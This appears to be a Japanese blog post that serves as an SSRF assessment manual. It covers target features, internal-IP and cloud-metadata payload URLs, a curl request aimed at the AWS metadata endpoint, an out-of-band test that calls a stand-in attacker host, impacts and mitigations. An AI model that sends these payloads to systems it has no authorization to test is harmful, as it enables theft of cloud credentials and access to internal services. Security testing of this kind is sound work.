Shikata Ga Nai

Private? There is no such things.

サーバサイドリクエストフォージェリ(SSRF)診断マニュアル

Hello there, ('ω')ノ

🎯 1. SSRFとは?

Server-Side Request Forgery(SSRF)は、アプリケーションのリクエスト送信機能を攻撃者が悪用し、 サーバ内部から任意のURLへアクセスさせる脆弱性です。

SSRFにより、本来アクセスできない内部システム・メタデータ・クラウド情報などを取得できる可能性があります。


🧠 攻撃のイメージ

アプリが次のように外部URLから画像を取得して表示する機能があるとします:

POST /fetch-image
{
  "url": "http://example.com/image.jpg"
}

ここに攻撃者が次のようなURLを指定すると:

"url": "http://169.254.169.254/latest/meta-data/"

→ サーバがAWSインスタンスのメタ情報を読み出してしまう!


🧭 2. チェック対象のページ・機能

機能・ページ 概要 チェックポイント
📷 画像取得・サムネイル生成 URL指定で外部画像を表示 URL指定の自由度が高いか
📝 Webページプレビュー機能 OGPなどのURL先取得 内部ホストにも接続できるか
📤 ファイルURLの取得 ファイルの取り込み・変換 内部ファイルやIPが指定可能か
🔗 任意のURL入力機能 webhook / ping / URL呼び出し 受信先の制限があるかチェック

🧪 3. 基本テストペイロード(ターゲットURL)

🧱 内部IP(ローカルネットワーク)

ターゲット URL
自身のループバック http://127.0.0.1 / http://localhost
内部ネットワーク http://192.168.0.1 / http://10.0.0.1
Docker / K8s環境 http://172.17.0.1 など

☁️ クラウドメタデータ

プラットフォーム URL
AWS http://169.254.169.254/latest/meta-data/
GCP http://metadata.google.internal/
Azure http://169.254.169.254/metadata/instance?api-version=2021-01-01

🧰 4. SSRF診断の方法(手順)

  1. 対象のURL入力欄 or APIパラメータを特定
  2. 上記の内部/クラウド系URLを入力して送信
  3. 次のような反応が返るか観察
結果 解釈
正常にHTMLやJSONが返る SSRF成功の可能性大
タイムアウトや遅延 内部アクセスに反応している可能性
DNSログや外部サーバアクセス Out-of-band型 SSRF が成立している可能性あり

🌐 5. Out-of-band(OOB)SSRF診断

サーバが直接攻撃者のサーバにアクセスしたかを検出する方法です。

例:

"url": "http://attacker-server.example.com/log.txt"

→ 攻撃者のサーバログにアクセス記録があれば SSRF 成立!

📦 Burp Collaboratorなどのサービスを使えば自動検知可能です。


🧾 6. 実行例(curl)

curl -X POST https://example.com/api/fetch \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

⚠️ 7. SSRFによる実害の一例

攻撃結果 内容
内部ポートスキャン http://127.0.0.1:8080 などを順に指定して調査
メタデータ流出 クラウドAPIキー、インスタンスIDなど
認証バイパス 社内限定の管理画面へアクセスできてしまう
SSRF + RCE SSRFが別サービス経由でコマンド実行につながる場合も(例:Redis)

🛡️ 8. サーバ側での防止策(参考)

対策 内容
URLフィルタリング localhost169.254.*.* などをブロック
ホワイトリスト方式 接続を許可するドメインを明示的に制限
IPアドレス解決後の検査 リダイレクトやDNSポイズニング対策として重要
接続ライブラリ制限 危険なAPI(file_get_contents()など)を使わないようにする

🧰 9. 補助ツール

  • Burp Suite + Collaborator(OOB型SSRFの確認)
  • SSRFmap(自動診断ツール、AWS/GCP向け)
  • curl / Postman(手動リクエスト作成)
  • dnslog.cn / interactsh(外部アクセス検知用)

🔎 SSRF兆候となるキーワード・ヒント

  • 入力項目名が url, link, target, fetch など
  • エラーメッセージに connection refused, timeout, unreachable など
  • 結果が即時ではなく数秒遅れて返る → 遅延は内部接続を試みた兆候

Best regards, ('ω')ノ